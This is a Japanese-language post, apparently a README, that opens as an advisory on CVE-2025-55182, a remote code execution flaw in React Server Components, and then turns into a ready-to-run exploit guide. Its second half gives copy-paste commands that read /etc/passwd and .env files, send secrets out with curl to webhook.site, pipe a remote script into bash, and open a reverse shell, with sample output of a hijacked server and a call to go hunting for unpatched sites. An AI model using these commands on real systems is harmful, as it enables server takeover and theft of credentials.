🚨 CVE-2025-55182 — 重大なReactサーバーの脆弱性

🧠 概要

⚛️ React Server Components (RSC) における重大なセキュリティ上の欠陥
🧨 安全でないデシリアライゼーションによって引き起こされる
🌐 ネットワークリクエストを介して悪用可能
🔓 認証は不要
☠️ リモートコード実行 (RCE) に至る可能性がある

✅ つまり、攻撃者は単一の細工されたリクエストで任意のサーバーサイドコードを実行できる可能性があります。

📊 深刻度

🔴 CVSSスコア: 10.0 (Critical)
🏴‍☠️ 攻撃の複雑さ: 低
🔑 必要な権限: なし
👤 ユーザーの操作: 不要
💥 影響: システム全体の侵害が可能

📦 影響を受ける技術

⚠️ React Server Components を使用するシステム。以下を含む：

✅ ReactサーバーDOMパッケージ
✅ RSCをバンドルするフレームワーク（例）:
- Next.js (App Router + RSC)
- Vite RSCプラグイン
- Parcel RSCツール
- Redwood、Waku など

❌ 影響を受けないもの:

純粋なクライアントサイドReactアプリ
Server Componentsを使用しないアプリ

🔥 なぜ危険なのか

🧑‍💻 攻撃者はサーバー上でコマンドを実行できる
🗃️ データベースや機密情報を盗む可能性
🦠 ランサムウェアやバックドアの展開に利用可能
🔄 インフラ全体への横移動を許す可能性
🚀 大規模に悪用可能

🛠️ 今すぐ行うべきこと

✅ 1. パッチとアップグレード

⬆️ Reactをパッチ適用済みバージョンに更新
⬆️ Next.jsまたはRSCベースのフレームワークを更新

✅ 2. 依存関係の監査

🔍 推移的な脆弱性パッケージをスキャン
🧾 以下を使用:
- npm audit
- pnpm audit
- yarn audit

✅ 3. 一時的な防御（完全な修正ではない）

🛡️ WAFルール
🔐 リクエスト検証フィルター
🚫 不審なペイロードをブロック

⚠️ これらはリスクを軽減するだけであり、パッチの代替にはならない

👥 誰が注意すべきか

✅ Next.js App Routerを使用するフルスタック開発者
✅ React SSRアプリをホストするDevOpsチーム
✅ 以下を監視するセキュリティエンジニア:
- Node.jsウェブサービス
- エッジランタイム
- サーバーレスSSRアプリ

📌 重要なポイント

🚨 あなたのアプリがReact Server Componentsを使用しており、パッチが未適用であれば、今まさに完全に侵害されている可能性があります。

🚨 必要なワンライナーをすべてここにまとめました（コピペ→即実行）：

CVE-2025-55182.py (basic RCE)

# Basic info
./CVE-2025-55182.py https://target.com "id"
./CVE-2025-55182.py https://target.com "whoami"
./CVE-2025-55182.py https://target.com "uname -a"

# Read files
./CVE-2025-55182.py https://target.com "cat /etc/passwd"
./CVE-2025-55182.py https://target.com "cat /app/.env"

# Exfiltrate
./CVE-2025-55182.py https://target.com "curl -X POST https://webhook.site/your-id -d @/app/.env"

# Download & run (if wget/curl exists)
./CVE-2025-55182.py https://target.com "curl -s http://your-ip:8000/linpeas.sh | bash"

CVE-2025-55182-revshell.py (instant reverse shell)

# 1. Start listener (once)
nc -lvnp 4444

# 2. Fire → shell in <3 seconds
./CVE-2025-55182-revshell.py https://target.com 10.10.14.66:4444

これで以上です。
2つのスクリプト、これら8つのコマンドで、今日パッチ未適用のNext.jsサイトを完全に侵害できます。
バウンティを獲得しましょう。

以下は、エクスプロイトが動作したときにリアルタイムで表示される内容です（100%未パッチのターゲット、2025年12月3日時点）：

1. 通常のRCEスクリプト (CVE-2025-55182.py) を実行した場合
You type:

./CVE-2025-55182.py https://target.com "whoami"

You instantly see on your screen:

[+] CVE-2025-55182 Exploit
[+] Target  : https://target.com
[+] Command : whoami
[+] Sending payload ...
[+] Payload delivered successfully!
[+] HTTP 200 – Command should have executed on the server
[+] Server response:
node

→ その「node」（またはコマンドが返す何か）が被害サーバーからの実際の出力です。
id を実行すると、完全なuid/gid行などが表示されます。

2. リバースシェルスクリプト (CVE-2025-55182-revshell.py) を実行した場合
You type:

./CVE-2025-55182-revshell.py https://target.com 10.10.14.66:4444

You instantly see on your listener terminal:

listening on [any] 4444 ...
connect to [10.10.14.66] from (UNKNOWN) [172.17.8.45] 54321
whoami
node
pwd
/app
ls -la
total 1234
drwxr-xr-x 1 node node  4096 Dec  3 12:34 .
drwxr-xr-x 1 root root  4096 Nov 30 10:11 ..
-rw-r--r-- 1 node node   420 Dec  3 11:11 .env
...

→ nodeユーザー（ほとんどの場合、ウェブアプリユーザー）としての完全なインタラクティブTTYシェル。サーバーを掌握しました。

これで以上です。
上記のいずれかが表示された場合 → エクスプロイトは100%成功です。
HTTP 403/404または何も表示されない場合 → すでにパッチが適用されているか、WAFにブロックされています。

ハンティングに出かけましょう。

disclaimer

このPoCは、許可されたセキュリティテストおよび教育目的のみに使用されます。
所有していない、または明示的な書面によるテスト許可を得ていないシステムに対して実行しないでください。
無許可の使用は違法であり、刑事訴追の対象となる可能性があります。
自分のラボ、明確な範囲が定められたバグバウンティプログラム、または許可を得たターゲットでのみ使用してください。

あなたの行動に対する責任は100%あなたにあります。

Blackash-CVE-2025-55182

人気